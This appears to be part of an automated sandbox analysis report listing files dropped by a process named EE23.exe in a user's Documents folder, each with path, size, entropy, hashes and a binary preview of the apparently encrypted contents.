                                                                                                                                                                                                                                                              SSDEEP:24:PpxqdVaR5aGABc7JkcAGADyKvCnJOEw2apeZqWfCaoCMZv+gtDaJkeI5+yCi3tN0:qd8RhEc7Jkc8hCJu2JfCaLMZv9tekHN0
                                                                                                                                                                                                                                                              MD5:7315B0DA4181B6962A759410BD87FE94
                                                                                                                                                                                                                                                              SHA1:D7E48CEDBE6C98C766BFA9805D3DC6B64B47178C
                                                                                                                                                                                                                                                              SHA-256:5474EED5BD40E3E4E3F2127C1DE6A5DE3DA858060C0C223BD86A1A31FE2F4269
                                                                                                                                                                                                                                                              SHA-512:8E22D4FC17FF3B0A3690090745BAD50BDFE6B96B07A588D124D96060E252348379B5196B84E14A92625AD54D74B6AC00D8C1B59B4AFB0620299C67DE5D2FBEEE
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:ZIPXY._.:.==.y..o.a.l7gjUX.6......\~..T .....)<!.i..$E...*$.gn..XjSo..+.h....CmA-$f.*..@...P....-.......<v...-.jbO..S(:.X3`Q. ...`c.....^..>.=......Uf....~Dr...74.nP.....F.<.NV...}.a.[....C>.....j0t.39.<...H..G....V....r.9.ztL..3..hG%..........[......AW..F..E.S^0.f.....N.2..&}.......?&A...I.t...IT.....N.I.9le..{..&[...~. j..5...gd1.a....<...Z.........v...(gu.v.6>.L4..P..FH..A/.H.....:..6..._\..4.X....h%..n...,......s.>:.;.N=.!.8c.r.a~......F;...6.....-..u.......h...*..Lx.......~.[b.U.-..D...3g\g.".VV......:[...(..ff.+C...YDaM1Y....}+..g...`c.8C~..PLe.F......^..j.V.;....[..~.b.6.V6MC.W8. .E..F.'4V.8..5.....S.........9SNn..&JWx..4..@<.*.Xm.....2...OT.....a..........&i........ynu.......o]..+|YO...h.....z.."qC0..mQ..m.._.....kl........b...K.../...[..].x..{...c.?oV..4........Kr.....Q.K..........\k1.....mP........?..*,M..R.L.../.w5...r"f..........<,5..+.1.m6>..g.SQ.A).~.b...,f0B....Q:.z.=hAb.>.....~9f..r.y...G..8......W...&.Y.6o.!......

                                                                                                                                                                                                                                                              C:\Users\user\Documents\NVWZAPQSQL\ZIPXYXWIOY.png.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.847476315876294
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:PpxqdVaR5aGABc7JkcAGADyKvCnJOEw2apeZqWfCaoCMZv+gtDaJkeI5+yCi3tN0:qd8RhEc7Jkc8hCJu2JfCaLMZv9tekHN0
                                                                                                                                                                                                                                                              MD5:7315B0DA4181B6962A759410BD87FE94
                                                                                                                                                                                                                                                              SHA1:D7E48CEDBE6C98C766BFA9805D3DC6B64B47178C
                                                                                                                                                                                                                                                              SHA-256:5474EED5BD40E3E4E3F2127C1DE6A5DE3DA858060C0C223BD86A1A31FE2F4269
                                                                                                                                                                                                                                                              SHA-512:8E22D4FC17FF3B0A3690090745BAD50BDFE6B96B07A588D124D96060E252348379B5196B84E14A92625AD54D74B6AC00D8C1B59B4AFB0620299C67DE5D2FBEEE
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:ZIPXY._.:.==.y..o.a.l7gjUX.6......\~..T .....)<!.i..$E...*$.gn..XjSo..+.h....CmA-$f.*..@...P....-.......<v...-.jbO..S(:.X3`Q. ...`c.....^..>.=......Uf....~Dr...74.nP.....F.<.NV...}.a.[....C>.....j0t.39.<...H..G....V....r.9.ztL..3..hG%..........[......AW..F..E.S^0.f.....N.2..&}.......?&A...I.t...IT.....N.I.9le..{..&[...~. j..5...gd1.a....<...Z.........v...(gu.v.6>.L4..P..FH..A/.H.....:..6..._\..4.X....h%..n...,......s.>:.;.N=.!.8c.r.a~......F;...6.....-..u.......h...*..Lx.......~.[b.U.-..D...3g\g.".VV......:[...(..ff.+C...YDaM1Y....}+..g...`c.8C~..PLe.F......^..j.V.;....[..~.b.6.V6MC.W8. .E..F.'4V.8..5.....S.........9SNn..&JWx..4..@<.*.Xm.....2...OT.....a..........&i........ynu.......o]..+|YO...h.....z.."qC0..mQ..m.._.....kl........b...K.../...[..].x..{...c.?oV..4........Kr.....Q.K..........\k1.....mP........?..*,M..R.L.../.w5...r"f..........<,5..+.1.m6>..g.SQ.A).~.b...,f0B....Q:.z.=hAb.>.....~9f..r.y...G..8......W...&.Y.6o.!......

                                                                                                                                                                                                                                                              C:\Users\user\Documents\PALRGUCVEH.jpg

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.8460974612213725
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:3OdMwx3WhDyQIvW7qvUxi1Sn7+xe7RLQY0v7QfeE2M2FyxEM+oWu0QdqMwwvYa9p:3Od3GhDBIW77xiCN0kflIwxmRuZqM9tv
                                                                                                                                                                                                                                                              MD5:4B80C245007D14AE0848196CCFAFE762
                                                                                                                                                                                                                                                              SHA1:E1FCCEE3D91494D533DD4DC2A54251CE8BCE8515
                                                                                                                                                                                                                                                              SHA-256:32D2AEDD487434D030176A2B2E04ACA4BC42F902B26AA57E77B3734C43B76674
                                                                                                                                                                                                                                                              SHA-512:32707E172A790148DA2AA4730CB1D3BE97AB862A695B574A9C28848A5495B453427BE280B2CD9BB448BEFFDBFF706B2153B9CD11B1944ECF458D7C0763F343D8
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:PALRG~.%.3&Q...)..u.......{.bp...1........'....a7;.......>...t....m<./....K.3q.I..p.oPc....!...I....}o.f..4.v.A5u..aI!....eH%.G];......?.).@,..}.m....)9Uv......f......eW....J.../.~o.$..BN.X.....i.k..*.,..Q.....56.z...i.X..J......0{......k..y.L..."0..).Z4..J....y.sf......*<....g....#.....z..l...{.2.)K........@D...{y<....9..N.;....).....Qw..!+^;`.@...4c.........]B.Y.b<..E..#.04?~...%"&\..aL3?.I.cI...A.oRj....;F|..b..."x...D[.$../.5S..n...;...0%..+.vB$.!..D<.|#...Q..Q.>.1..0Vb..\...N..&.M.2iMBQ.N ..t.."c+qSX3v........|@x!(.........c...'.3MP;.:t.....]|.*.iDR..]a=.3.. kqm-....0Q...V'8..Um.j.G...CR..k..K.6-O.,^.a<N.sq`..d.......N..F.9..DAn.....:..7.Nn..?.........M#....^"..d`.b..ao.3/..lj.....C.....P.,......c^....@...e.&..S......lS[noMY0...E..5?...<..Wx....z...pj.<.7....E&.6.F.>.GD@.z_.{.q..?.i...t.=..r..+.."...U.e=rC.....%z.*E&._....oxF......~..7..k..........x.HIQX.G..To.t..:......r...(.e...l.....S.n.\.C5..T]..fY..E.....0.K..K>...9.....\

                                                                                                                                                                                                                                                              C:\Users\user\Documents\PALRGUCVEH.jpg.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.8460974612213725
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:3OdMwx3WhDyQIvW7qvUxi1Sn7+xe7RLQY0v7QfeE2M2FyxEM+oWu0QdqMwwvYa9p:3Od3GhDBIW77xiCN0kflIwxmRuZqM9tv
                                                                                                                                                                                                                                                              MD5:4B80C245007D14AE0848196CCFAFE762
                                                                                                                                                                                                                                                              SHA1:E1FCCEE3D91494D533DD4DC2A54251CE8BCE8515
                                                                                                                                                                                                                                                              SHA-256:32D2AEDD487434D030176A2B2E04ACA4BC42F902B26AA57E77B3734C43B76674
                                                                                                                                                                                                                                                              SHA-512:32707E172A790148DA2AA4730CB1D3BE97AB862A695B574A9C28848A5495B453427BE280B2CD9BB448BEFFDBFF706B2153B9CD11B1944ECF458D7C0763F343D8
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:PALRG~.%.3&Q...)..u.......{.bp...1........'....a7;.......>...t....m<./....K.3q.I..p.oPc....!...I....}o.f..4.v.A5u..aI!....eH%.G];......?.).@,..}.m....)9Uv......f......eW....J.../.~o.$..BN.X.....i.k..*.,..Q.....56.z...i.X..J......0{......k..y.L..."0..).Z4..J....y.sf......*<....g....#.....z..l...{.2.)K........@D...{y<....9..N.;....).....Qw..!+^;`.@...4c.........]B.Y.b<..E..#.04?~...%"&\..aL3?.I.cI...A.oRj....;F|..b..."x...D[.$../.5S..n...;...0%..+.vB$.!..D<.|#...Q..Q.>.1..0Vb..\...N..&.M.2iMBQ.N ..t.."c+qSX3v........|@x!(.........c...'.3MP;.:t.....]|.*.iDR..]a=.3.. kqm-....0Q...V'8..Um.j.G...CR..k..K.6-O.,^.a<N.sq`..d.......N..F.9..DAn.....:..7.Nn..?.........M#....^"..d`.b..ao.3/..lj.....C.....P.,......c^....@...e.&..S......lS[noMY0...E..5?...<..Wx....z...pj.<.7....E&.6.F.>.GD@.z_.{.q..?.i...t.=..r..+.."...U.e=rC.....%z.*E&._....oxF......~..7..k..........x.HIQX.G..To.t..:......r...(.e...l.....S.n.\.C5..T]..fY..E.....0.K..K>...9.....\

                                                                                                                                                                                                                                                              C:\Users\user\Documents\PALRGUCVEH.xlsx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.851291222772932
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:Bv5qdP/msiodQFihkPHMDolXQk7NwKMBqNd07RS795naxX5aLkJwTNSsbD:AP/Xi/qxiQAN3Ig795nqaYy5SmD
                                                                                                                                                                                                                                                              MD5:81125E80A9E4D94FC7A1D431DCEE355E
                                                                                                                                                                                                                                                              SHA1:2E7D68EDA206A9C7F7759528BA792372F51D4CB0
                                                                                                                                                                                                                                                              SHA-256:D5791A8DF75F9DE5015D4E5F24C686EF7E089EEE9DEDB3383D5390207E71B948
                                                                                                                                                                                                                                                              SHA-512:B9036A7B2FA49421468F4CE792A17E024BDAA927A93C567FF5613E24EFA259FFEB23AEE93482F08DED01F5EDA88F659BD2D5ADEC5B5F33D7534B03F7B492FD74
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:PALRG.O:...9@..!5.2.>HfQ....K.N%....BX?{./5..v...RCw.S.(.a...).......w.M.x..t*...v.,.^...]|......L4..B.....DX...I..q...D..q..4.\.....Z...T.3P.qnL....2.L6.s..I.......u........t..........i.6...<.._P...k.&...A..%....Q.......Wd.Ses..e.....w.....]r..u'I0....E.~......'..b.Nk..].......F..@i.7..O...q.../.Z....)......&A.i.d.`.^g~.)F.x.jZ...h0.9.'.-..w.y.4B.;v.%m.4e......86.f...k8..5.a.<.ml-...n..w.<......H.h,....?....Vp.$`fz.a..?#I2/.....t.Z=.Ip.'w.@.._.bO..;.. #J..u5.E......[,..k..1V2.../m.......U.-..W6...:....w.^m=Qds..@u...d.D3T.p?...|...e..a......6..Q_.gq2.(.d...7.X..{........f.I..^O:L...Y5N.y.3f^.b.H.#.k..K.>L.........U.l...TnT}....t...{..Z>..6..'.6+Xj..t.H..t.O.E...09I..z.>O.6.n_l.um.DU0B.c.{.p.J1.E....%....#.=..WV4$..'...G.{aP,Ys.S.>...........k.rt..$...|...(K.)........4.y.-.g..w,7.....e..Y..p@..Q.nt.Q.......h.........$...H|d...V.74...{..a....Q.>ML..>.-^;U..*h..o..<....|..k....J.~.p|RGU.....G.F1..6'3.:/q.S....?Z.I..]X...i.#[..

                                                                                                                                                                                                                                                              C:\Users\user\Documents\PALRGUCVEH.xlsx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.851291222772932
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:Bv5qdP/msiodQFihkPHMDolXQk7NwKMBqNd07RS795naxX5aLkJwTNSsbD:AP/Xi/qxiQAN3Ig795nqaYy5SmD
                                                                                                                                                                                                                                                              MD5:81125E80A9E4D94FC7A1D431DCEE355E
                                                                                                                                                                                                                                                              SHA1:2E7D68EDA206A9C7F7759528BA792372F51D4CB0
                                                                                                                                                                                                                                                              SHA-256:D5791A8DF75F9DE5015D4E5F24C686EF7E089EEE9DEDB3383D5390207E71B948
                                                                                                                                                                                                                                                              SHA-512:B9036A7B2FA49421468F4CE792A17E024BDAA927A93C567FF5613E24EFA259FFEB23AEE93482F08DED01F5EDA88F659BD2D5ADEC5B5F33D7534B03F7B492FD74
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:PALRG.O:...9@..!5.2.>HfQ....K.N%....BX?{./5..v...RCw.S.(.a...).......w.M.x..t*...v.,.^...]|......L4..B.....DX...I..q...D..q..4.\.....Z...T.3P.qnL....2.L6.s..I.......u........t..........i.6...<.._P...k.&...A..%....Q.......Wd.Ses..e.....w.....]r..u'I0....E.~......'..b.Nk..].......F..@i.7..O...q.../.Z....)......&A.i.d.`.^g~.)F.x.jZ...h0.9.'.-..w.y.4B.;v.%m.4e......86.f...k8..5.a.<.ml-...n..w.<......H.h,....?....Vp.$`fz.a..?#I2/.....t.Z=.Ip.'w.@.._.bO..;.. #J..u5.E......[,..k..1V2.../m.......U.-..W6...:....w.^m=Qds..@u...d.D3T.p?...|...e..a......6..Q_.gq2.(.d...7.X..{........f.I..^O:L...Y5N.y.3f^.b.H.#.k..K.>L.........U.l...TnT}....t...{..Z>..6..'.6+Xj..t.H..t.O.E...09I..z.>O.6.n_l.um.DU0B.c.{.p.J1.E....%....#.=..WV4$..'...G.{aP,Ys.S.>...........k.rt..$...|...(K.)........4.y.-.g..w,7.....e..Y..p@..Q.nt.Q.......h.........$...H|d...V.74...{..a....Q.>ML..>.-^;U..*h..o..<....|..k....J.~.p|RGU.....G.F1..6'3.:/q.S....?Z.I..]X...i.#[..

                                                                                                                                                                                                                                                              C:\Users\user\Documents\PIVFAGEAAV.docx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.827030843341002
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:tljOb7X077HVuRf9UwvDC8dpXm28R4gtsV8ckF4BhePpihCsbD:tljOX077HVIf9UwuYpsWgtO8cE4jevmD
                                                                                                                                                                                                                                                              MD5:A9E9A54E88C4297CD2677DF0F19E1088
                                                                                                                                                                                                                                                              SHA1:B6830664C7056E100F86AA62C1C0D48CEDF04204
                                                                                                                                                                                                                                                              SHA-256:9CBD53C160361D1584F4B1A8B37C7540940642A5EF8BBE6C8CE16FA31C6A2CA2
                                                                                                                                                                                                                                                              SHA-512:3823E259554C1ACB4ABF557B1849BC650BE8666C0267292E04D846412AD0FBEEB131306DA93FF77F2BA05E164D86FD9E4EFBE39F918992C90848CBCAE43D0762
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:PIVFA ..[....l..Q....\.X.Q.w.Q>@......=FLcL"e...D..o:.s..F.<P..a..(../A.5U o.&...*....D.6.1..a..;.....H/..'hw+..z..F.7.l5..p`..~Q.Sl...........PC..PZ.....R.L....d".Z...9<v..........E...p..6..}..<.k/....d5.%..vR.t6-JE....J0...."..`...g+...Es....~.5.Q....~.X..2..x.. .i.!....^.>.......^..P...<)~.<P.ic.....`...a.f.J..nm.M..>..yY#..... /.m...lJ.|...,... ..w...b.;.$.......L l../[b..")..<'.J...~.6..J+S.L....Hm*.F..(-y..Oyl...IJ.}...r\..R.%...={...l.Z.'f.....3p .1.P...Q...^2ky.....KO.tRY...`.~+F..'.....*q.k..C.r..7...=D....1E....../xn.;.....E.q...._.......-...W....)z...G.v{.s..r5...x+...t..=......:.. .....8.....2...h.Z}M.`<......"[.iN.. o.H......|..WX~.K.........9..5..e.....N..x.be2.;.u.s$.#B.;.f..mms.$.>xv......@...\..c&6.....9$Q.'...[w........G.s.........{.[...fT#.W..K..pq/.Jq.\.%.*<.[.h...'@>.O;?...`K..@F........h.._A..'`.....=E;.P.......;...n....S.+..3x.{.3...FA.....%.....Ih..EE..z<@L5i.=..q...zT.P.6@sD.. ."......@.I.^.....'..;..`......!.....

                                                                                                                                                                                                                                                              C:\Users\user\Documents\PIVFAGEAAV.docx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.827030843341002
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:tljOb7X077HVuRf9UwvDC8dpXm28R4gtsV8ckF4BhePpihCsbD:tljOX077HVIf9UwuYpsWgtO8cE4jevmD
                                                                                                                                                                                                                                                              MD5:A9E9A54E88C4297CD2677DF0F19E1088
                                                                                                                                                                                                                                                              SHA1:B6830664C7056E100F86AA62C1C0D48CEDF04204
                                                                                                                                                                                                                                                              SHA-256:9CBD53C160361D1584F4B1A8B37C7540940642A5EF8BBE6C8CE16FA31C6A2CA2
                                                                                                                                                                                                                                                              SHA-512:3823E259554C1ACB4ABF557B1849BC650BE8666C0267292E04D846412AD0FBEEB131306DA93FF77F2BA05E164D86FD9E4EFBE39F918992C90848CBCAE43D0762
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:PIVFA ..[....l..Q....\.X.Q.w.Q>@......=FLcL"e...D..o:.s..F.<P..a..(../A.5U o.&...*....D.6.1..a..;.....H/..'hw+..z..F.7.l5..p`..~Q.Sl...........PC..PZ.....R.L....d".Z...9<v..........E...p..6..}..<.k/....d5.%..vR.t6-JE....J0...."..`...g+...Es....~.5.Q....~.X..2..x.. .i.!....^.>.......^..P...<)~.<P.ic.....`...a.f.J..nm.M..>..yY#..... /.m...lJ.|...,... ..w...b.;.$.......L l../[b..")..<'.J...~.6..J+S.L....Hm*.F..(-y..Oyl...IJ.}...r\..R.%...={...l.Z.'f.....3p .1.P...Q...^2ky.....KO.tRY...`.~+F..'.....*q.k..C.r..7...=D....1E....../xn.;.....E.q...._.......-...W....)z...G.v{.s..r5...x+...t..=......:.. .....8.....2...h.Z}M.`<......"[.iN.. o.H......|..WX~.K.........9..5..e.....N..x.be2.;.u.s$.#B.;.f..mms.$.>xv......@...\..c&6.....9$Q.'...[w........G.s.........{.[...fT#.W..K..pq/.Jq.\.%.*<.[.h...'@>.O;?...`K..@F........h.._A..'`.....=E;.P.......;...n....S.+..3x.{.3...FA.....%.....Ih..EE..z<@L5i.=..q...zT.P.6@sD.. ."......@.I.^.....'..;..`......!.....

                                                                                                                                                                                                                                                              C:\Users\user\Documents\PIVFAGEAAV\BNAGMGSPLO.xlsx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.845177565266411
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:PAuEfAN7V2W6152/gmE3euN9feflYoCsMu1p1PQdGWOKvU7aysbD:O67o1I/7FuN9fgYohMo2E7mD
                                                                                                                                                                                                                                                              MD5:FCFDB4CF047745B61BD15C9E5947D5AD
                                                                                                                                                                                                                                                              SHA1:53BA33D24E225327359B7CD05FF4C3050391BA7A
                                                                                                                                                                                                                                                              SHA-256:4F637740B295E5EFB52225A7698EB32CC6FA83A20D3EF02527BF16960EDB180A
                                                                                                                                                                                                                                                              SHA-512:D242160229EA5A44021DA7F3B4C053FFC32C32A6E29964FCEA6DE22CF6722F28B7FFC9291BBA476E6B473258462DB30A8D014F268E3DEADA7EAA794D232D4D4D
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:BNAGMgu..?.5.....Y....bm[......jP.B.r../..}.og.1/..W...s..D........*f.F.>h...G.....U.dr.1.....e.?.......G.*..I!H..=..&/R'..=+..ekq.....2...fB.2s.T_.=..NX..(.R.....C.qY..~N:O.......5.7..[l'W(..Y.y.a.T..Z&.../.v.......`...L...e]Ye!......X...i.... ..He...c.w[`...h[....`..g...5.6.W...{%.)L.......I.n?...(....{Y.N.LI..-..=.EJl.Ue.=.I.m...Yh...[...|.{.VF."..go.e..>.K{3..._^......Z.DQ.9"4.RF..]...R@.._;.O..b..K...4R...GaW..5"..I.+.G..L.......d..B...LN[. ........dl..d..J-Km.>|...I.l..9......:s.ba......./H..h@.......M:..$>xM(.S..qx....i:&...........K...T...rsM=1.3|.Rw........zb.r..`.AF*9.@....r.ANqk9.=.+S:.^...x..4../...Y.^.`Y...Et..p.......i...s.<~T2.....m.<..39..d...-.....E..pM....E.?u.I.#..*.....g.G0....i.dmLg72VHt...................B^..nRp...._.[g......Z..nt....4QQ4.=O...x.Z....=..QQ.A.I1...^c...k.g...5...G...d.RK...>.e...[[...|...je.(...J...,..0j.....M.&.V.U'..U........d...#...i..f.7...(.b.....}...j....S^..tt]C..C...IN..~....0W.....

                                                                                                                                                                                                                                                              C:\Users\user\Documents\PIVFAGEAAV\BNAGMGSPLO.xlsx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.845177565266411
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:PAuEfAN7V2W6152/gmE3euN9feflYoCsMu1p1PQdGWOKvU7aysbD:O67o1I/7FuN9fgYohMo2E7mD
                                                                                                                                                                                                                                                              MD5:FCFDB4CF047745B61BD15C9E5947D5AD
                                                                                                                                                                                                                                                              SHA1:53BA33D24E225327359B7CD05FF4C3050391BA7A
                                                                                                                                                                                                                                                              SHA-256:4F637740B295E5EFB52225A7698EB32CC6FA83A20D3EF02527BF16960EDB180A
                                                                                                                                                                                                                                                              SHA-512:D242160229EA5A44021DA7F3B4C053FFC32C32A6E29964FCEA6DE22CF6722F28B7FFC9291BBA476E6B473258462DB30A8D014F268E3DEADA7EAA794D232D4D4D
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:BNAGMgu..?.5.....Y....bm[......jP.B.r../..}.og.1/..W...s..D........*f.F.>h...G.....U.dr.1.....e.?.......G.*..I!H..=..&/R'..=+..ekq.....2...fB.2s.T_.=..NX..(.R.....C.qY..~N:O.......5.7..[l'W(..Y.y.a.T..Z&.../.v.......`...L...e]Ye!......X...i.... ..He...c.w[`...h[....`..g...5.6.W...{%.)L.......I.n?...(....{Y.N.LI..-..=.EJl.Ue.=.I.m...Yh...[...|.{.VF."..go.e..>.K{3..._^......Z.DQ.9"4.RF..]...R@.._;.O..b..K...4R...GaW..5"..I.+.G..L.......d..B...LN[. ........dl..d..J-Km.>|...I.l..9......:s.ba......./H..h@.......M:..$>xM(.S..qx....i:&...........K...T...rsM=1.3|.Rw........zb.r..`.AF*9.@....r.ANqk9.=.+S:.^...x..4../...Y.^.`Y...Et..p.......i...s.<~T2.....m.<..39..d...-.....E..pM....E.?u.I.#..*.....g.G0....i.dmLg72VHt...................B^..nRp...._.[g......Z..nt....4QQ4.=O...x.Z....=..QQ.A.I1...^c...k.g...5...G...d.RK...>.e...[[...|...je.(...J...,..0j.....M.&.V.U'..U........d...#...i..f.7...(.b.....}...j....S^..tt]C..C...IN..~....0W.....

                                                                                                                                                                                                                                                              C:\Users\user\Documents\PIVFAGEAAV\EEGWXUHVUG.jpg

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.853224897357441
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:/g5QM6PXl9gkanPlvEKr86WRKX12icCPb2hqxzir5onZRh+rn9FjTI1vGgaZysbD:0af5QvEE+RYoqPbxzI5mRkn9ZTIZmYmD
                                                                                                                                                                                                                                                              MD5:0B0E261472C4F5B616196FB03312D2B2
                                                                                                                                                                                                                                                              SHA1:CEC4F3E41FC1499307AF06FE3EACF4CBA8DED462
                                                                                                                                                                                                                                                              SHA-256:F07F77209E00F9BEDC0163DE6B57091B18BEB371417FF2C51751CC190E099EB2
                                                                                                                                                                                                                                                              SHA-512:FF09BF3684C2D3E014487C7F585C114840B489C09F7A12E6A1747D957AFAFF502C0FBEEBE9F01D3E93396491AB7C67C43BD77642B86AADD13FB6BC7FD198772C
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EEGWX}.]pq6...7..,JD.2.]8.s.\..a.c....-..D8..!.S......(....Y...g.. m..s.. I.."XyE.....7..<.UvW.8s..r.rn.:M.Z........eq&...%...$..Q.0...'QF.........6A.....[;.;..DJ0...AQ....F.....H...........7MR..t..o...j=. y..)..u9\.\.....A""......%.R.....4...u.O1.p.B..\`..X.@X.:Z((....]..+../...Qi<..k.k.h.hv.p...g:.Fz..:>KBI...........5.F.......-...?..T...yc.{.n..M.MW.<.u.G.^.h;..l{....~.}.<..Y.?OD.......a.03.5.....t.5A...nU;.*...(...Z.....p.../E.*..[n@.3g..l.qB.i.Q.....9...,.V.1X..|c..%..i.~.Yw(.P0..o...*..p@....")..s...F......bU}...g.X/B..pN..S.Y..S.^}.(.#..<!...Zb.`....AW6..W}..I...0._..sGZ.x.>[..N.80m.'....1..v.sj..X..9....bHk.....Mj...i.....->...4.8hC... Xe.2....4.NSI$.iY..(z,...v.bT..mC...!L].)N.i#L4..../]..D..u...j..e..3.jlQvM=...^.5JB.Y%.*...Tzz;.|fzu.E..b...\...5.........d.X.'.......f...V..S. ...U5...........O....M.m......!.........g.S%9...X3s{O..rm..2...Z6~8y...L...G$. .../..4..%..H.....~..._...|m.l..}..c....:... .>M..r.OA.uR.Q.q.M5.M.)._.

                                                                                                                                                                                                                                                              C:\Users\user\Documents\PIVFAGEAAV\EEGWXUHVUG.jpg.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.853224897357441
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:/g5QM6PXl9gkanPlvEKr86WRKX12icCPb2hqxzir5onZRh+rn9FjTI1vGgaZysbD:0af5QvEE+RYoqPbxzI5mRkn9ZTIZmYmD
                                                                                                                                                                                                                                                              MD5:0B0E261472C4F5B616196FB03312D2B2
                                                                                                                                                                                                                                                              SHA1:CEC4F3E41FC1499307AF06FE3EACF4CBA8DED462
                                                                                                                                                                                                                                                              SHA-256:F07F77209E00F9BEDC0163DE6B57091B18BEB371417FF2C51751CC190E099EB2
                                                                                                                                                                                                                                                              SHA-512:FF09BF3684C2D3E014487C7F585C114840B489C09F7A12E6A1747D957AFAFF502C0FBEEBE9F01D3E93396491AB7C67C43BD77642B86AADD13FB6BC7FD198772C
                                                                                                                                                                                                                                                              Malicious:false
